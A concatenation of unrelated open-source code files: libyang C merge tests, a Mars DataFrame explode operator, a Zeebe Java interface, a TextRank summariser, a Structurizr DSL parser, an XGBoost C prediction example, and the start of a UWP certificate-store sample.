test_leaf(void **state) { const char *sch = "module x {" " namespace urn:x;" " prefix x;" " container A {" " leaf f1 {type string;}" " container B {" " leaf f2 {type string;}" " }" " }" " }"; const char *trg = "<A xmlns=\"urn:x\"> <f1>block</f1> </A>"; const char *src = "<A xmlns=\"urn:x\"> <f1>aa</f1> <B> <f2>bb</f2> </B> </A>"; const char *result = "<A xmlns=\"urn:x\"><f1>aa</f1><B><f2>bb</f2></B></A>"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, LYD_PRINT_SHRINK); lyd_free_all(target); lyd_free_all(source); } static void test_container(void **state) { const char *sch = "module A {\n" " namespace \"aa:A\";\n" " prefix A;\n" " container A {\n" " leaf f1 {type string;}\n" " container B {\n" " leaf f2 {type string;}\n" " }\n" " container C {\n" " leaf f3 {type string;}\n" " }\n" " }\n" "}\n"; const char *trg = "<A xmlns=\"aa:A\"> <B> <f2>aaa</f2> </B> </A>"; const char *src = "<A xmlns=\"aa:A\"> <C> <f3>bbb</f3> </C> </A>"; const char *result = "<A xmlns=\"aa:A\"><B><f2>aaa</f2></B><C><f3>bbb</f3></C></A>"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, LYD_PRINT_SHRINK); /* destroy */ lyd_free_all(source); lyd_free_all(target); } static void test_list(void **state) { const char *sch = "module merge {\n" " namespace \"http://test/merge\";\n" " prefix merge;\n" "\n" " container inner1 {\n" " list b-list1 {\n" " key p1;\n" " leaf p1 {\n" " type uint8;\n" " }\n" " leaf p2 {\n" " type string;\n" " }\n" " leaf p3 {\n" " type boolean;\n" " default false;\n" " }\n" " }\n" " }\n" "}\n"; const char *trg = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>a</p2>\n" " <p3>true</p3>\n" " </b-list1>\n" "</inner1>\n"; const char *src = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " </b-list1>\n" "</inner1>\n"; const char *result = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " <p3>true</p3>\n" " </b-list1>\n" "</inner1>\n"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, 0); lyd_free_all(target); lyd_free_all(source); } static void test_list2(void **state) { const char *sch = "module merge {\n" " namespace \"http://test/merge\";\n" " prefix merge;\n" "\n" " container inner1 {\n" " list b-list1 {\n" " key p1;\n" " leaf p1 {\n" " type uint8;\n" " }\n" " leaf p2 {\n" " type string;\n" " }\n" " container inner2 {\n" " leaf p3 {\n" " type boolean;\n" " default false;\n" " }\n" " leaf p4 {\n" " type string;\n" " }\n" " }\n" " }\n" " }\n" "}\n"; const char *trg = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>a</p2>\n" " <inner2>\n" " <p4>val</p4>\n" " </inner2>\n" " </b-list1>\n" "</inner1>\n"; const char *src = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " </b-list1>\n" "</inner1>\n"; const char *result = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " <inner2>\n" " <p4>val</p4>\n" " </inner2>\n" " </b-list1>\n" "</inner1>\n"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, 0); lyd_free_all(source); lyd_free_all(target); } static void test_dup_inst_list(void **state) { const char *sch = "module merge {\n" " namespace \"http://test/merge\";\n" " prefix merge;\n" "\n" " container inner1 {\n" " config false;\n" " list b-list1 {\n" " leaf p1 {\n" " type uint8;\n" " }\n" " leaf p2 {\n" " type string;\n" " }\n" " container inner2 {\n" " leaf p4 {\n" " type string;\n" " }\n" " }\n" " }\n" " }\n" "}\n"; const char *trg = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " </b-list1>\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>a</p2>\n" " <inner2>\n" " <p4>val</p4>\n" " </inner2>\n" " </b-list1>\n" "</inner1>\n"; const char *src = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " </b-list1>\n" " <b-list1>\n" " <p1>2</p1>\n" " <p2>a</p2>\n" " </b-list1>\n" "</inner1>\n"; const char *result = "<inner1 xmlns=\"http://test/merge\">\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>b</p2>\n" " </b-list1>\n" " <b-list1>\n" " <p1>1</p1>\n" " <p2>a</p2>\n" " <inner2>\n" " <p4>val</p4>\n" " </inner2>\n" " </b-list1>\n" " <b-list1>\n" " <p1>2</p1>\n" " <p2>a</p2>\n" " </b-list1>\n" "</inner1>\n"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, 0); lyd_free_all(source); lyd_free_all(target); } static void test_dup_inst_llist(void **state) { const char *sch = "module merge {\n" " namespace \"http://test/merge\";\n" " prefix merge;\n" "\n" " container inner1 {\n" " config false;\n" " leaf-list b-llist1 {\n" " type string;\n" " }\n" " }\n" "}\n"; const char *trg = "<inner1 xmlns=\"http://test/merge\">\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>b</b-llist1>\n" " <b-llist1>c</b-llist1>\n" " <b-llist1>d</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>b</b-llist1>\n" " <b-llist1>c</b-llist1>\n" " <b-llist1>d</b-llist1>\n" "</inner1>\n"; const char *src = "<inner1 xmlns=\"http://test/merge\">\n" " <b-llist1>d</b-llist1>\n" " <b-llist1>c</b-llist1>\n" " <b-llist1>b</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>f</b-llist1>\n" " <b-llist1>f</b-llist1>\n" "</inner1>\n"; const char *result = "<inner1 xmlns=\"http://test/merge\">\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>b</b-llist1>\n" " <b-llist1>c</b-llist1>\n" " <b-llist1>d</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>b</b-llist1>\n" " <b-llist1>c</b-llist1>\n" " <b-llist1>d</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>a</b-llist1>\n" " <b-llist1>f</b-llist1>\n" " <b-llist1>f</b-llist1>\n" "</inner1>\n"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, 0); lyd_free_all(source); lyd_free_all(target); } static void test_case(void **state) { const char *sch = "module merge {\n" " namespace \"http://test/merge\";\n" " prefix merge;\n" " container cont {\n" " choice ch {\n" " container inner {\n" " leaf p1 {\n" " type string;\n" " }\n" " }\n" " case c2 {\n" " leaf p1 {\n" " type string;\n" " }\n" " }\n" " }\n" " }\n" "}\n"; const char *trg = "<cont xmlns=\"http://test/merge\">\n" " <inner>\n" " <p1>1</p1>\n" " </inner>\n" "</cont>\n"; const char *src = "<cont xmlns=\"http://test/merge\">\n" " <p1>1</p1>\n" "</cont>\n"; const char *result = "<cont xmlns=\"http://test/merge\">\n" " <p1>1</p1>\n" "</cont>\n"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); /* merge them */ assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); /* check the result */ LYD_TREE_CHECK_CHAR(target, result, 0); lyd_free_all(source); lyd_free_all(target); } static void test_dflt(void **state) { const char *sch = "module merge-dflt {\n" " namespace \"urn:merge-dflt\";\n" " prefix md;\n" " container top {\n" " leaf a {\n" " type string;\n" " }\n" " leaf b {\n" " type string;\n" " }\n" " leaf c {\n" " type string;\n" " default \"c_dflt\";\n" " }\n" " }\n" "}\n"; struct lyd_node *target = NULL; struct lyd_node *source = NULL; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); assert_int_equal(lyd_new_path(NULL, UTEST_LYCTX, "/merge-dflt:top/c", "c_dflt", 0, &target), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); assert_int_equal(lyd_new_path(NULL, UTEST_LYCTX, "/merge-dflt:top/a", "a_val", 0, &source), LY_SUCCESS); assert_int_equal(lyd_new_path(source, UTEST_LYCTX, "/merge-dflt:top/b", "b_val", 0, NULL), LY_SUCCESS); assert_int_equal(lyd_validate_all(&source, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); assert_int_equal(lyd_merge_siblings(&target, source, LYD_MERGE_DESTRUCT | LYD_MERGE_DEFAULTS), LY_SUCCESS); source = NULL; /* c should be replaced and now be default */ assert_string_equal(lyd_child(target)->prev->schema->name, "c"); assert_true(lyd_child(target)->prev->flags & LYD_DEFAULT); lyd_free_all(target); lyd_free_all(source); } static void test_dflt2(void **state) { const char *sch = "module merge-dflt {\n" " namespace \"urn:merge-dflt\";\n" " prefix md;\n" " container top {\n" " leaf a {\n" " type string;\n" " }\n" " leaf b {\n" " type string;\n" " }\n" " leaf c {\n" " type string;\n" " default \"c_dflt\";\n" " }\n" " }\n" "}\n"; struct lyd_node *target; struct lyd_node *source; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); assert_int_equal(lyd_new_path(NULL, UTEST_LYCTX, "/merge-dflt:top/c", "c_dflt", 0, &target), LY_SUCCESS); assert_int_equal(lyd_validate_all(&target, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); assert_int_equal(lyd_new_path(NULL, UTEST_LYCTX, "/merge-dflt:top/a", "a_val", 0, &source), LY_SUCCESS); assert_int_equal(lyd_new_path(source, UTEST_LYCTX, "/merge-dflt:top/b", "b_val", 0, NULL), LY_SUCCESS); assert_int_equal(lyd_validate_all(&source, NULL, LYD_VALIDATE_PRESENT, NULL), LY_SUCCESS); assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); /* c should not be replaced, so c remains not default */ assert_false(lyd_child(target)->flags & LYD_DEFAULT); lyd_free_all(target); lyd_free_all(source); } static void test_leafrefs(void **state) { const char *sch = "module x {" " namespace urn:x;" " prefix x;" " list l {" " key n;" " leaf n { type string; }" " leaf t { type string; }" " leaf r { type leafref { path '/l/n'; } }}}"; const char *trg = "<l xmlns=\"urn:x\"><n>a</n></l>" "<l xmlns=\"urn:x\"><n>b</n><r>a</r></l>"; const char *src = "<l xmlns=\"urn:x\"><n>c</n><r>a</r></l>" "<l xmlns=\"urn:x\"><n>a</n><t>*</t></l>"; const char *res = "<l xmlns=\"urn:x\"><n>a</n><t>*</t></l>" "<l xmlns=\"urn:x\"><n>b</n><r>a</r></l>" "<l xmlns=\"urn:x\"><n>c</n><r>a</r></l>"; struct lyd_node *source, *target; UTEST_ADD_MODULE(sch, LYS_IN_YANG, NULL, NULL); LYD_TREE_CREATE(src, source); LYD_TREE_CREATE(trg, target); assert_int_equal(lyd_merge_siblings(&target, source, 0), LY_SUCCESS); LYD_TREE_CHECK_CHAR(target, res, LYD_PRINT_SHRINK); lyd_free_all(source); lyd_free_all(target); } int main(void) { const struct CMUnitTest tests[] = { UTEST(test_batch), UTEST(test_leaf), UTEST(test_container), UTEST(test_list), UTEST(test_list2), UTEST(test_dup_inst_list), UTEST(test_dup_inst_llist), UTEST(test_case), UTEST(test_dflt), UTEST(test_dflt2), UTEST(test_leafrefs), }; return cmocka_run_group_tests(tests, NULL, NULL); }
15,591
2,413
<reponame>hxri/mars # Copyright 1999-2021 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np import pandas as pd from ... import opcodes from ...core import OutputType, recursive_tile from ...serialization.serializables import AnyField, BoolField from ..operands import DataFrameOperand, DataFrameOperandMixin from ..utils import parse_index, standardize_range_index class DataFrameExplode(DataFrameOperand, DataFrameOperandMixin): _op_type_ = opcodes.EXPLODE _column = AnyField('column') _ignore_index = BoolField('ignore_field') def __init__(self, column=None, ignore_index=None, output_types=None, **kw): super().__init__(_column=column, _ignore_index=ignore_index, _output_types=output_types, **kw) @property def column(self): return self._column @property def ignore_index(self): return self._ignore_index def _rewrite_params(self, in_obj): params = in_obj.params.copy() new_shape = list(in_obj.shape) new_shape[0] = np.nan params['shape'] = tuple(new_shape) if self.ignore_index: params['index_value'] = parse_index( pd.RangeIndex(-1), (in_obj.key, in_obj.index_value.key)) else: params['index_value'] = parse_index( None, (in_obj.key, in_obj.index_value.key)) return params def __call__(self, df_or_series): return self.new_tileable([df_or_series], **self._rewrite_params(df_or_series)) @classmethod def tile(cls, op: "DataFrameExplode"): in_obj = op.inputs[0] if in_obj.ndim == 2 and in_obj.chunk_shape[1] > 1: # make sure data's second dimension has only 1 chunk in_obj = yield from recursive_tile( in_obj.rechunk({1: in_obj.shape[1]})) chunks = [] for chunk in in_obj.chunks: new_op = op.copy().reset_key() chunks.append(new_op.new_chunk([chunk], **op._rewrite_params(chunk))) if op.ignore_index: chunks = standardize_range_index(chunks) new_op = op.copy().reset_key() out_params = op.outputs[0].params if in_obj.ndim == 2: new_nsplits = ((np.nan,) * in_obj.chunk_shape[0], in_obj.nsplits[1]) else: new_nsplits = ((np.nan,) * in_obj.chunk_shape[0],) return new_op.new_tileable([in_obj], chunks=chunks, nsplits=new_nsplits, **out_params) @classmethod def execute(cls, ctx, op: "DataFrameExplode"): in_data = ctx[op.inputs[0].key] if in_data.ndim == 2: ctx[op.outputs[0].key] = in_data.explode(op.column) else: ctx[op.outputs[0].key] = in_data.explode() def df_explode(df, column, ignore_index=False): """ Transform each element of a list-like to a row, replicating index values. Parameters ---------- column : str or tuple Column to explode. ignore_index : bool, default False If True, the resulting index will be labeled 0, 1, …, n - 1. Returns ------- DataFrame Exploded lists to rows of the subset columns; index will be duplicated for these rows. Raises ------ ValueError : if columns of the frame are not unique. See Also -------- DataFrame.unstack : Pivot a level of the (necessarily hierarchical) index labels. DataFrame.melt : Unpivot a DataFrame from wide format to long format. Series.explode : Explode a DataFrame from list-like columns to long format. Notes ----- This routine will explode list-likes including lists, tuples, Series, and np.ndarray. The result dtype of the subset rows will be object. Scalars will be returned unchanged. Empty list-likes will result in a np.nan for that row. Examples -------- >>> import mars.tensor as mt >>> import mars.dataframe as md >>> df = md.DataFrame({'A': [[1, 2, 3], 'foo', [], [3, 4]], 'B': 1}) >>> df.execute() A B 0 [1, 2, 3] 1 1 foo 1 2 [] 1 3 [3, 4] 1 >>> df.explode('A').execute() A B 0 1 1 0 2 1 0 3 1 1 foo 1 2 NaN 1 3 3 1 3 4 1 """ op = DataFrameExplode(column=column, ignore_index=ignore_index, output_types=[OutputType.dataframe]) return op(df) def series_explode(series, ignore_index=False): """ Transform each element of a list-like to a row. Parameters ---------- ignore_index : bool, default False If True, the resulting index will be labeled 0, 1, …, n - 1. Returns ------- Series Exploded lists to rows; index will be duplicated for these rows. See Also -------- Series.str.split : Split string values on specified separator. Series.unstack : Unstack, a.k.a. pivot, Series with MultiIndex to produce DataFrame. DataFrame.melt : Unpivot a DataFrame from wide format to long format. DataFrame.explode : Explode a DataFrame from list-like columns to long format. Notes ----- This routine will explode list-likes including lists, tuples, Series, and np.ndarray. The result dtype of the subset rows will be object. Scalars will be returned unchanged. Empty list-likes will result in a np.nan for that row. Examples -------- >>> import mars.tensor as mt >>> import mars.dataframe as md >>> s = md.Series([[1, 2, 3], 'foo', [], [3, 4]]) >>> s.execute() 0 [1, 2, 3] 1 foo 2 [] 3 [3, 4] dtype: object >>> s.explode().execute() 0 1 0 2 0 3 1 foo 2 NaN 3 3 3 4 dtype: object """ op = DataFrameExplode(ignore_index=ignore_index, output_types=[OutputType.series]) return op(series)
2,708
1,830
<filename>engine/src/main/java/io/camunda/zeebe/engine/processing/streamprocessor/writers/TypedRejectionWriter.java<gh_stars>1000+ /* * Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH under * one or more contributor license agreements. See the NOTICE file distributed * with this work for additional information regarding copyright ownership. * Licensed under the Zeebe Community License 1.1. You may not use this file * except in compliance with the Zeebe Community License 1.1. */ package io.camunda.zeebe.engine.processing.streamprocessor.writers; import io.camunda.zeebe.engine.processing.streamprocessor.TypedRecord; import io.camunda.zeebe.protocol.record.RecordValue; import io.camunda.zeebe.protocol.record.RejectionType; public interface TypedRejectionWriter { void appendRejection( TypedRecord<? extends RecordValue> command, RejectionType type, String reason); }
260
930
<reponame>A-kriti/Amazing-Python-Scripts #!/usr/bin/env python # coding: utf-8 # Imports from nltk.corpus import stopwords from nltk.cluster.util import cosine_distance import numpy as np import networkx as nx # Enter the File path file_name = input("Enter the Source File: ") print("This script requires 'stopwords' from NLTK, see README" "Quick Download Command: ```python -m nltk.downloader stopwords```") def read_article(file_name): """ Reads the Text file, and coverts them into sentences. :param file_name: Path of text file (line 12) :return: sentences """ file = open(file_name, 'r', encoding="utf-8") filedata = file.readlines() article = filedata[0].split(". ") sentences = [] for sentence in article: # Uncomment if you want to print the whole file on screen. # print(sentence) sentences.append(sentence.replace("[^a-zA-Z]", " ").split(" ")) sentences.pop() return sentences def sentence_similarity(sent1, sent2, stopwords=None): """ To determine the Cosine Similarity between sentences :param sent1: Vector of sentence 1 :param sent2: Vector of sentence 2 :param stopwords: Words to be ignored in Vectors (Read README.md) :return: Cosine Similarity score """ if stopwords is None: stopwords = [] sent1 = [w.lower() for w in sent1] sent2 = [w.lower() for w in sent2] all_words = list(set(sent1 + sent2)) vector1 = [0] * len(all_words) vector2 = [0] * len(all_words) # build the vector for the first sentence for w in sent1: if w in stopwords: continue vector1[all_words.index(w)] += 1 # build the vector for the second sentence for w in sent2: if w in stopwords: continue vector2[all_words.index(w)] += 1 return 1 - cosine_distance(vector1, vector2) def build_similarity_matrix(sentences, stop_words): """ Build the similarity index of words in sentences :param sentences: Clean sentences :param stop_words: Words to be ignored in Vectors (Read README.md) :return: Similarity index (Tokenized words) """ # Create an empty similarity matrix similarity_matrix = np.zeros((len(sentences), len(sentences))) for idx1 in range(len(sentences)): for idx2 in range(len(sentences)): if idx1 == idx2: # ignore if both are same sentences continue similarity_matrix[idx1][idx2] = sentence_similarity( sentences[idx1], sentences[idx2], stop_words) return similarity_matrix def generate_summary(file_name, top_n=5): """ Generate Summary of the text file :param file_name: Path of text file (line 12) :param top_n: Number of Sentence to be vectorized (tokenized) :return: Summary of text """ stop_words = stopwords.words('english') summarize_text = [] # Step 1 - Read text anc split it sentences = read_article(file_name) # Step 2 - Generate Similarity Matrix across sentences sentence_similarity_martix = build_similarity_matrix(sentences, stop_words) # Step 3 - Rank sentences in similarity matrix sentence_similarity_graph = nx.from_numpy_array(sentence_similarity_martix) scores = nx.pagerank(sentence_similarity_graph) # Step 4 - Sort the rank and pick top sentences ranked_sentence = sorted(((scores[i], s) for i, s in enumerate(sentences)), reverse=True) # Print the index of the statements # print("Indexes of top ranked_sentence order are ", ranked_sentence) for i in range(top_n): summarize_text.append(" ".join(ranked_sentence[i][1])) # Step 5 - Output of the text file filepath_index = file_name.find('.txt') outputpath = file_name[:filepath_index] + '_textRank.txt' with open(outputpath, 'w') as w: for sentence in summarize_text: w.write(str(sentence) + '\n') generate_summary(file_name, 5)
1,535
504
<filename>src/main/java/com/structurizr/dsl/ViewContentParser.java package com.structurizr.dsl; import com.structurizr.model.Relationship; import com.structurizr.view.View; import static com.structurizr.dsl.StructurizrDslExpressions.*; abstract class ViewContentParser extends AbstractParser { protected static final String WILDCARD = "*"; protected static final String ELEMENT_WILDCARD = "element==*"; protected static final String RELATIONSHIP_WILDCARD = "relationship==*"; protected boolean isExpression(String token) { token = token.toLowerCase(); return token.startsWith(ELEMENT_TYPE_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(ELEMENT_TAG_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(ELEMENT_TAG_NOT_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(RELATIONSHIP) || token.endsWith(RELATIONSHIP) || token.contains(RELATIONSHIP) || token.endsWith(ELEMENT_EQUALS_EXPRESSION) || token.startsWith(RELATIONSHIP_TAG_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(RELATIONSHIP_TAG_NOT_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(RELATIONSHIP_SOURCE_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(RELATIONSHIP_DESTINATION_EQUALS_EXPRESSION.toLowerCase()) || token.startsWith(RELATIONSHIP_EQUALS_EXPRESSION); } protected void removeRelationshipFromView(Relationship relationship, View view) { view.remove(relationship); } }
656
23,866
/*! * Copyright 2021 XGBoost contributors * * \brief A simple example of using prediction functions. */ #include <stddef.h> #include <stdlib.h> #include <string.h> #include <xgboost/c_api.h> #define safe_xgboost(err) \ if ((err) != 0) { \ fprintf(stderr, "%s:%d: error in %s: %s\n", __FILE__, __LINE__, #err, \ XGBGetLastError()); \ exit(1); \ } #define safe_malloc(ptr) \ if ((ptr) == NULL) { \ fprintf(stderr, "%s:%d: Failed to allocate memory.\n", __FILE__, \ __LINE__); \ exit(1); \ } #define N_SAMPLES 128 #define N_FEATURES 16 typedef BoosterHandle Booster; typedef DMatrixHandle DMatrix; /* Row-major matrix */ struct _Matrix { float *data; size_t shape[2]; /* private members */ char _array_intrerface[256]; }; /* A custom data type for demo. */ typedef struct _Matrix *Matrix; /* Initialize matrix, copy data from `data` if it's not NULL. */ void Matrix_Create(Matrix *self, float const *data, size_t n_samples, size_t n_features) { if (self == NULL) { fprintf(stderr, "Invalid pointer to %s\n", __func__); exit(-1); } *self = (Matrix)malloc(sizeof(struct _Matrix)); safe_malloc(*self); (*self)->data = (float *)malloc(n_samples * n_features * sizeof(float)); safe_malloc((*self)->data); (*self)->shape[0] = n_samples; (*self)->shape[1] = n_features; if (data != NULL) { memcpy((*self)->data, data, (*self)->shape[0] * (*self)->shape[1] * sizeof(float)); } } /* Generate random matrix. */ void Matrix_Random(Matrix *self, size_t n_samples, size_t n_features) { Matrix_Create(self, NULL, n_samples, n_features); for (size_t i = 0; i < n_samples * n_features; ++i) { float x = (float)rand() / (float)(RAND_MAX); (*self)->data[i] = x; } } /* Array interface specified by numpy. */ char const *Matrix_ArrayInterface(Matrix self) { char const template[] = "{\"data\": [%lu, true], \"shape\": [%lu, %lu], " "\"typestr\": \"<f4\", \"version\": 3}"; memset(self->_array_intrerface, '\0', sizeof(self->_array_intrerface)); sprintf(self->_array_intrerface, template, (size_t)self->data, self->shape[0], self->shape[1]); return self->_array_intrerface; } size_t Matrix_NSamples(Matrix self) { return self->shape[0]; } size_t Matrix_NFeatures(Matrix self) { return self->shape[1]; } float Matrix_At(Matrix self, size_t i, size_t j) { return self->data[i * self->shape[1] + j]; } void Matrix_Print(Matrix self) { for (size_t i = 0; i < Matrix_NSamples(self); i++) { for (size_t j = 0; j < Matrix_NFeatures(self); ++j) { printf("%f, ", Matrix_At(self, i, j)); } } printf("\n"); } void Matrix_Free(Matrix self) { if (self != NULL) { if (self->data != NULL) { self->shape[0] = 0; self->shape[1] = 0; free(self->data); self->data = NULL; } free(self); } } int main() { Matrix X; Matrix y; Matrix_Random(&X, N_SAMPLES, N_FEATURES); Matrix_Random(&y, N_SAMPLES, 1); char const *X_interface = Matrix_ArrayInterface(X); char config[] = "{\"nthread\": 16, \"missing\": NaN}"; DMatrix Xy; /* Dense means "dense matrix". */ safe_xgboost(XGDMatrixCreateFromDense(X_interface, config, &Xy)); /* Label must be in a contigious array. */ safe_xgboost(XGDMatrixSetDenseInfo(Xy, "label", y->data, y->shape[0], 1)); DMatrix cache[] = {Xy}; Booster booster; /* Train a booster for demo. */ safe_xgboost(XGBoosterCreate(cache, 1, &booster)); size_t n_rounds = 10; for (size_t i = 0; i < n_rounds; ++i) { safe_xgboost(XGBoosterUpdateOneIter(booster, i, Xy)); } /* Save the trained model in JSON format. */ safe_xgboost(XGBoosterSaveModel(booster, "model.json")); safe_xgboost(XGBoosterFree(booster)); /* Load it back for inference. The save and load is not required, only shown here for * demonstration purpose. */ safe_xgboost(XGBoosterCreate(NULL, 0, &booster)); safe_xgboost(XGBoosterLoadModel(booster, "model.json")); { /* Run prediction with DMatrix object. */ char const config[] = "{\"training\": false, \"type\": 0, " "\"iteration_begin\": 0, \"iteration_end\": 0, \"strict_shape\": true}"; /* Shape of output prediction */ uint64_t const *out_shape; /* Dimension of output prediction */ uint64_t out_dim; /* Pointer to a thread local contigious array, assigned in prediction function. */ float const *out_results; safe_xgboost(XGBoosterPredictFromDMatrix(booster, Xy, config, &out_shape, &out_dim, &out_results)); if (out_dim != 2 || out_shape[0] != N_SAMPLES || out_shape[1] != 1) { fprintf(stderr, "Regression model should output prediction as vector."); exit(-1); } Matrix predt; /* Always copy output from XGBoost before calling next API function. */ Matrix_Create(&predt, out_results, out_shape[0], out_shape[1]); printf("Results from prediction\n"); Matrix_Print(predt); Matrix_Free(predt); } { /* Run inplace prediction, which is faster and more memory efficient, but supports * only basic inference types. */ char const config[] = "{\"type\": 0, \"iteration_begin\": 0, " "\"iteration_end\": 0, \"strict_shape\": true, " "\"cache_id\": 0, \"missing\": NaN}"; /* Shape of output prediction */ uint64_t const *out_shape; /* Dimension of output prediction */ uint64_t out_dim; /* Pointer to a thread local contigious array, assigned in prediction function. */ float const *out_results; char const *X_interface = Matrix_ArrayInterface(X); safe_xgboost(XGBoosterPredictFromDense(booster, X_interface, config, NULL, &out_shape, &out_dim, &out_results)); if (out_dim != 2 || out_shape[0] != N_SAMPLES || out_shape[1] != 1) { fprintf(stderr, "Regression model should output prediction as vector, %lu, %lu", out_dim, out_shape[0]); exit(-1); } Matrix predt; /* Always copy output from XGBoost before calling next API function. */ Matrix_Create(&predt, out_results, out_shape[0], out_shape[1]); printf("Results from inplace prediction\n"); Matrix_Print(predt); Matrix_Free(predt); } XGBoosterFree(booster); XGDMatrixFree(Xy); Matrix_Free(X); Matrix_Free(y); return 0; }
3,113
2,504
//********************************************************* // // Copyright (c) Microsoft. All rights reserved. // This code is licensed under the MIT License (MIT). // THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY // IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR // PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT. // //********************************************************* #include "pch.h" #include "Scenario1_MoveCertificate.xaml.h" using namespace concurrency; using namespace Platform; using namespace SDKTemplate; using namespace Windows::Foundation; using namespace Windows::Foundation::Collections; using namespace Windows::Security::Cryptography; using namespace Windows::Security::Cryptography::Certificates; using namespace Windows::UI::Xaml::Navigation; Scenario1_MoveCertificate::Scenario1_MoveCertificate() : appStore(CertificateStores::GetStoreByName(StandardCertificateStoreNames::Personal)), userStore(CertificateStores::GetUserStoreByName(StandardCertificateStoreNames::Personal)) { InitializeComponent(); } void Scenario1_MoveCertificate::OnNavigatedTo(NavigationEventArgs^ e) { create_task(CertificateStores::FindAllAsync()).then([=](IVectorView<Certificate^>^ certs) { for (Certificate^ cert : certs) { String^ serialNumber 